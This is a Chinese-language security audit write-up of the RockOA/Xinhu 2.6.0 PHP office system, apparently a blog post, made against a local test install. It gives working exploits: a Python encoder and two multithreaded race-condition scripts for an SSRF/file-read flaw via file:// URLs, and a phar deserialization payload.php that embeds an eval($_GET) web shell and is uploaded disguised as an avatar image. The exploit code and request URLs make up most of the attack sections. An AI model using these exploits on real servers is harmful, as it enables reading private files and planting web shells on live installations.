官網:
http://www.rockoa.com/
2.6.0版,下載鏈接:
http://www.rockoa.com/view_down.html
一次雞肋的php審計成果。
環境搭建
php7.3.4,使用phpstudy搭建,開啟debug模式,在php.ini最后添加以下內容:
[XDebug]
zend_extension="D:\nettools\phpstudy\phpStudy_64\phpstudy_pro\Extensions\php\php7.3.4nts\ext\php_xdebug.dll"
xdebug.profiler_output_dir ="D:\nettools\phpstudy\phpStudy_64\phpstudy_pro\Extensions\tmp\xdebug"
xdebug.trace_output_dir="D:\nettools\phpstudy\phpStudy_64\phpstudy_pro\Extensions\php\tmp"
;是否開啟自動跟蹤
xdebug.auto_trace= 1
;啟用性能檢測分析
xdebug.profiler_append = 0
xdebug.profiler_enable = 1
xdebug.profiler_enable_trigger = 0
;是否開啟遠程調試
xdebug.remote_enable = 1
;調試插件dbgp
xdebug.remote_handler = "dbgp"
;允許調試的客戶端IP(如果遠程主機開放則填遠程主機的ip)
xdebug.remote_host = "127.0.0.1"
;允許調試的端口
xdebug.remote_port = 9001
xdebug.remote_mode = "req"
;是否開啟遠程調試自動啟動
xdebug.remote_autostart=1
xdebug.idekey = PHPSTORM
xdebug.remote_cookie_expire_time = 36000
max_execution_time=36000
max_input_time=36000
default_socket_timeout = 36000
apache配置文件最后加
ErrorDocument 510 /error/510.html
KeepAliveTimeout 5
MaxKeepAliveRequests 100
Timeout 36000
FcgidIOTimeout 36000
FcgidIdleTimeout 36000
IPCConnectTimeout 36000
IPCCommTimeout 36000
phpstrom配置debug:
設置debug監聽的端口,地址,key。
設置debug的ip和端口。
最后添加debug服務。
文件讀取漏洞(雞肋,需要代碼生成的隨機秘鑰)
index.php為入口文件,34行包含view.php。
view.php可以動態引用webmain目錄下的各種文件。
我們順著分析此漏洞,
asynrunAction.php存在downwxpicAction函數,并調用了downximg函數。
在69行,picurl參數被uncrypts函數解密。
然后又執行了uncrypts函數,這里是解密被加密的picurl參數。
asynrunAction.php中71行的m函數可以調用webmain/model下的文件,在rockFun.php中。
所以downximg函數在reimModel.php中,
在1579行,會先利用c函數去調用curlChajian.php的getcurl函數。
rockFun.php的c函數會調用到/include/chajian/目錄下的文件。
curlChajian.php的getcurl函數,
75行設置url,90行,執行curl_exec函數,可以利用http,dict,file,gopher協議,
93行,返回訪問的結果。
然后又回到reimModel.php的1580行,執行downChajian.php的createimage函數,
78行,利用file_put_contents函數保存文件,
88行和102行,如果我們生成的文件不滿足條件,則會刪除,
此時,就存在條件競爭,在同一時間大量訪問此文件,再發送大量的請求,就有機會訪問到我們的文件內容。
現在我們就需要構造url能調用到asynrunAction.php的downwxpicAction函數,
根據view.php,構造url,
http://192.168.0.249:8044/index.php?a=downwxpic&m=asynrun|api&d=task&ajaxbool=false&asynkey=918b1e2c90b72136d2d863c02b602726 ,但是這里還缺一個加密后的picurl參數
這里的asynkey在asynrunAction.php中的構造函數中,
asynkey在webmainConfig.php文件中,
需要滿足asynkey=md5(md5(asynkey)),
以此完整payload為:
http://192.168.191.249:8044/index.php?a=downwxpic&m=asynrun|api&d=task&ajaxbool=false&picurl=pf0rp0rg0du0pf0gs0dc0dj0hk0dq0ah0kp0hp0ra0ak0db0hk0dr0gv0av0rf0ka0kd0kd0&msgid=1&asynkey=918b1e2c90b72136d2d863c02b602726
這里的原始asynkey后臺也可以看(異步任務key,這里換了一個環境,導致異步任務key兩次MD5加密與上面不一致)
payload:
攻擊方式:
加密picurl參數傳入,利用此腳本加密:
11行的payload參數利用file協議讀取文件,自定義文件讀取的路徑。
import base64
a = "fdvzsakhgprcoxwuitjlbqynem"
b = {}
count = -1
for i in a:
count = count + 1
b[i] = count
print(b)
payload = "file:///D:/1.txt"
# print(base64.b64encode(payload.encode()).decode())
payload_encode = ""
for z in payload:
flag = False
for i in b.keys():
for j in b.keys():
c = str(b[i]) + str(b[j])
if chr(int(c)) == z:
print(str(i) + ":" + str(j) + " 字母:" + z)
payload_encode += (str(i) + str(j)) + "0"
flag = True
break
if flag:
break
print(payload_encode)
將加密的數據給picurl參數,
然后先執行此腳本(shiyan2.py),多線程訪問系統自定義的文件名。
import requests
from datetime import datetime
import queue
import threading
#定義多線程類
class Thread_test(threading.Thread):
def __init__(self, que):
threading.Thread.__init__(self)
self.que = que
#執行多線程函數
def run(self):
while not self.que.empty():
#從列隊取出target
target = self.que.get()
self.upload(target)
#需要多線程跑的函數
def upload(self, target):
# 獲取當前時間
now = datetime.now()
try:
url_jpg = "http://192.168.191.249:8044/upload/" + str(now.year) + "-" + str(now.month) + "/" + str(now.month) + "_" + str(now.strftime("%H%M%S")) + target + ".jpg"
url_request = requests.get(url_jpg)
if url_request.status_code == 200:
print(url_request.content.decode("utf-8"))
except Exception:
pass
def multi_thread(thread_count):
getRLthread = [] # 線程列表
que = queue.Queue() # 定義隊列變量
for i in range(1,100):
for target in range(0, 100):
que.put(str(target).zfill(2)) # 添加目標到隊列中
for i in range(thread_count): # 創建多線程
getRLthread.append(Thread_test(que))
for i in getRLthread:
i.start()
for i in getRLthread:
i.join()
if __name__ == '__main__':
multi_thread(100)
之后再執行此腳本(shiyan1.py),多線程訪問此url使服務器生成文件。
import requests
from datetime import datetime
import queue
import threading
#定義多線程類
class Thread_test(threading.Thread):
def __init__(self, que):
threading.Thread.__init__(self)
self.que = que
#執行多線程函數
def run(self):
while not self.que.empty():
#從列隊取出target
target = self.que.get()
self.upload(target)
#需要多線程跑的函數
def upload(self, target):
try:
url = "http://192.168.191.249:8044/index.php?a=downwxpic&m=asynrun|api&d=task&ajaxbool=false&picurl=pf0rp0rg0du0pf0gs0dc0dj0hk0dq0ah0kp0hp0ra0ak0db0hk0dr0gv0av0rf0ka0kd0kd0&msgid=1&asynkey=918b1e2c90b72136d2d863c02b602726"
requests.get(url)
except Exception:
pass
def multi_thread(thread_count):
getRLthread = [] # 線程列表
que = queue.Queue() # 定義隊列變量
for target in range(0, 1000000):
que.put(target) # 添加目標到隊列中
for i in range(thread_count): # 創建多線程
getRLthread.append(Thread_test(que))
for i in getRLthread:
i.start()
for i in getRLthread:
i.join()
if __name__ == '__main__':
multi_thread(10000)
最終效果:
訪問到我們生成的文件內容。
后臺信息泄露(雞肋,phpinfo)
http://192.168.162.249:8044/index.php?m=index&a=phpinfo&ajaxbool=false
tableAction.php可拼接,$sql.=" $name
";
但是堆疊注入時報錯。
coginiAction.php
和
http://192.168.158.249:8044/index.php?d=task&m=login|api&a=downimg&ajaxbool=false
存在phar反序列化入口,還沒有找到利用鏈。
反序列化漏洞(雞肋,文件名截斷后只能成生成空文件)
coginiAction.php的phpinisaveAction函數執行了file_exists函數,并且$path可控,
我們可以利用phar反序列化,就找到相關的反序列化利用鏈。
mysql.php的mysql類中存在__destruct()函數,此函數在對象被銷毀時執行,
80行的$this->rock可控,設置為rockClass類。
76行需要開啟sql日志。
就會進入rockClass類的createtxt函數。
回到mysql.php中,78行的$filstr可控(因為$this->rock->adminid可控),
它被拼接到文件名中,
文件名為:時間+$filstr+隨機字符.log,
那么我們可以利用:來截斷繞過,
$this->rock->now也可控,此變量被拼接到寫入的內容中,
79行的$this->sqlarr不能為空數組。
使用phar生成phar文件時,需要將php.ini中的phar.readonly設置為0。
payload.php:
<?php
abstract class mysql{
public $rock;
public function __construct($set_rock)
{
$this->rock = $set_rock;
$this->sqlarr = ["a", "b"];
}
}
final class rockClass{
public $adminid;
public $now;
public function __construct($set_adminid, $set_now)
{
$this->adminid = $set_adminid;
$this->now = $set_now;
}
}
$path = "1.php:";
$now = "\n<?php phpinfo(); ?>\n";
class mysqliClass extends mysql{
}
$payload = new mysqliClass(new rockClass($path, $now));
//echo base64_encode(serialize($payload));
@unlink("phar.phar");
$phar = new Phar("phar.phar"); //后綴名必須為phar
$phar->startBuffering();
$phar->setStub("GIF89a" . "<?php __HALT_COMPILER(); ?>");
//將反序列化的對象放入該文件中
$phar->setMetadata($payload);
//phar本質上是個壓縮包,所以要添加壓縮的文件和文件內容
$phar->addFromString("test.php", "<?php @eval(\$_GET[v]);?>");
$phar->stopBuffering();
訪問payload.php生成了phar.phar,將phar.phar改成phar.jpg,
之后在后臺更改頭像處上傳phar.jpg文件。
返回路徑:upload\/2023-12\/14_15164671.jpg
之后訪問存在phar反序列化的url,
http://192.168.105.249:8044/index.php?d=system&m=cogini&a=phpinisave&ajaxbool=false
post:
path=phar://D:\nettools\phpstudy\phpStudy_64\phpstudy_pro\WWW\ccc.com\xinhu-master\upload\2023-12\14_15164671.jpg\test.php
生成成功。
該文章在 2024/7/2 10:00:26 編輯過